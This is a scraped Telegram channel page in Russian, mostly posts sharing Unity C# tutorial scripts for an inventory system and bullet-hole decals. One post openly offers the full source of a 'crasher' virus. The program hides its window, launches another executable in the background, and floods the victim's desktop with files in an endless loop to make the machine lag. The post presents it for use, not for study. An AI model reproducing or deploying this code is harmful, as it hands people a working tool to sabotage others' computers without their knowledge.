</> Distortion🤍
50 subscribers
153 photos
36 videos
20 files
65 links
Script maker who makes quality scripts
Заказать скрипты/нанять для работы - @VOZHOD

Make on - Unity C#; C# Programmes; Sources C# projects; C++ Programmes;

https://t.me/Distortion_V/186
https://t.me/Distortion_V/568

🗓2023-2026
Download Telegram
Audio
Саундтреки из Buckshot Roulette
👍5
хз бля, допустим
👍2👏1
This media is not supported in your browser
VIEW IN TELEGRAM
🔥1🤣1
Христос Воскрес! 🎹
Please open Telegram to view this post
VIEW IN TELEGRAM
🍓3
Кста, 9 мая чуваки!
🎉3🍾1
Audio
Чуваки, вайб лета, я еще планирую поехать на "Культуру Заноса", под этот трек эдиты поснимать, как никак, вайб лета
🤩4
ШУВАКИ, кто сдает экзамены сегодня, удачи вам, шуть позже сделаю вам видос, просто так вам
👍2🫡1
Код из нью видоса про крашер: https://youtu.be/IOUQOIUlpAA?si=NTgqwiMlVZZDPh93

про видео:
Я показал как создать крашер (вирус, хз, называйте как хотите), который создает на рабочем столе кучу пустых файлов и ебашит по железу, что компьютер начинает очень жестко глючить и лагать (зависит от железа) P.S: код не мой.

Кто пришел с ютуба - подпишись =)

using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]

// Настройка нужных переменных
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
const int SW_SHOW = 5;
static void Main()
{

// Скрываем программу
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
Process pr = new Process();
pr.StartInfo.FileName = "prog.exe";
pr.StartInfo.Arguments = "-r";
pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pr.Start();
pr.WaitForExit();
int i=0;

// Сам вирус =)
while(true){
i=i+1;
System.IO.StreamWriter sw = new System.IO.StreamWriter(@"C:\Users\"+Environment.UserName+ @"\Desktop\badfile"+i);
}
}
}
🔥5
Не забывайте, что ссылки на:
Донат, канал и чат - есть в закрепе
❤1👍1🆒1
Всем привет!
Ниже вы можете наблюдать код из видео про инвентарь
Спасибо за внимание!


Код из видео
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;

public class InventoryManager : MonoBehaviour
{
//Написал VOZHOD Tg:@ProjectParadise_INC
public List<SkinItem> skinItems = new List<SkinItem>();
public Transform inventoryParent;
public Text moneyText;
public int gold;

private void Update()
{
moneyText.text = gold.ToString();
}

public void SaveInventory()
{
// Создаем временный объект для хранения только сериализуемых данных
InventoryData inventoryToSave = new InventoryData();
inventoryToSave.skinItems = skinItems;

string json = JsonUtility.ToJson(inventoryToSave);
PlayerPrefs.SetString("Inventory", json);
PlayerPrefs.SetInt("Currency", gold);
PlayerPrefs.Save();
}

public void LoadInventory()
{
// Загружаем инвентарь
if (PlayerPrefs.HasKey("Inventory"))
{
string json = PlayerPrefs.GetString("Inventory");
InventoryData inventoryData = JsonUtility.FromJson<InventoryData>(json);
skinItems = inventoryData.skinItems; // Восстанавливаем список skinItems
}

// Загружаем валюту
if (PlayerPrefs.HasKey("Currency"))
{
moneyText = GameObject.Find("MoneyTextMainMenu").GetComponent<Text>();
gold = PlayerPrefs.GetInt("Currency");
}

// Очищаем предыдущее содержимое инвентаря
foreach (Transform child in inventoryParent)
{
Destroy(child.gameObject);
}

// Воссоздаем элементы инвентаря
foreach (SkinItem skinItem in skinItems)
{
GameObject skinObject = Instantiate(skinItem.skinPrefab, inventoryParent);
skinObject.name = skinItem.skinName;
}
}

public void CreateSkin(string name, GameObject prefab)
{
SkinItem newSkin = new SkinItem();
newSkin.skinName = name;
newSkin.skinPrefab = prefab;
skinItems.Add(newSkin);

GameObject skinObject = Instantiate(prefab, inventoryParent);
skinObject.name = name;

SaveInventory();
}

public void DeleteSkin(string name)
{
SkinItem skinToRemove = skinItems.Find(skin => skin.skinName == name);
if (skinToRemove != null)
{
skinItems.Remove(skinToRemove);
Destroy(GameObject.Find(name));
SaveInventory();
}
}

public void AddGold(int amount)
{
gold += amount;
PlayerPrefs.SetInt("Currency", gold);
}
}

[System.Serializable]
public class InventoryData
{
public List<SkinItem> skinItems;
}

[System.Serializable]
public class SkinItem
{
public string skinName;
public GameObject skinPrefab;
}


скрипт обязательно называйте "InventoryManager"

Само видео - 👉 тыкни 👈


✅ Project Paradise · Подписывайся!
Please open Telegram to view this post
VIEW IN TELEGRAM
Media is too big
VIEW IN TELEGRAM
Здарова чуваки, кто еще помнит данный проект?
А ведь я когда-то работал над ним...😭
Please open Telegram to view this post
VIEW IN TELEGRAM
😍6
вам мб какой-нибудь тутор заснять? че думаете?
Некст тутор будет на дырки от пуль, а некст возможно и граффити сделаю

P.S: Завтра буду записывать тутор
🔥3😁1💘1
</> Distortion🤍
Некст тутор будет на дырки от пуль, а некст возможно и граффити сделаю P.S: Завтра буду записывать тутор
В принципе ничего сложного, по той же механике будем делать потом граффити.

P.S: Это не граффити, это дырки от пуль, по той же механике будем делать граффити.
❤2🍓1🍾1
Всем здарова чуваки!
⬇️ Код из видео про дырки от пуль

using UnityEngine;

public class BulletHolesSpawner : MonoBehaviour
{
public GameObject prefab;
public Camera mainCamera;
public float DistantRaycast = 9999f;

public LayerMask _layers;

void Update()
{
if (Input.GetKey(KeyCode.E))
{
Spawn();
}
}

void Spawn()
{
RaycastHit hit;
Ray ray = new Ray(mainCamera.transform.position, mainCamera.transform.forward);
if (Physics.Raycast(ray, out hit, DistantRaycast, ~_layers))
{
Quaternion spawnRotation = Quaternion.FromToRotation(Vector3.up, hit.normal);
Instantiate(prefab, hit.point + hit.normal * 0.001f, spawnRotation);
}
}
}


Скрипт обязательно называем "BulletHolesSpawner"

✅ Project Paradise · Подписывайся!
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5
Скоро...

Воу, а что это?
👉 Пост?
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯3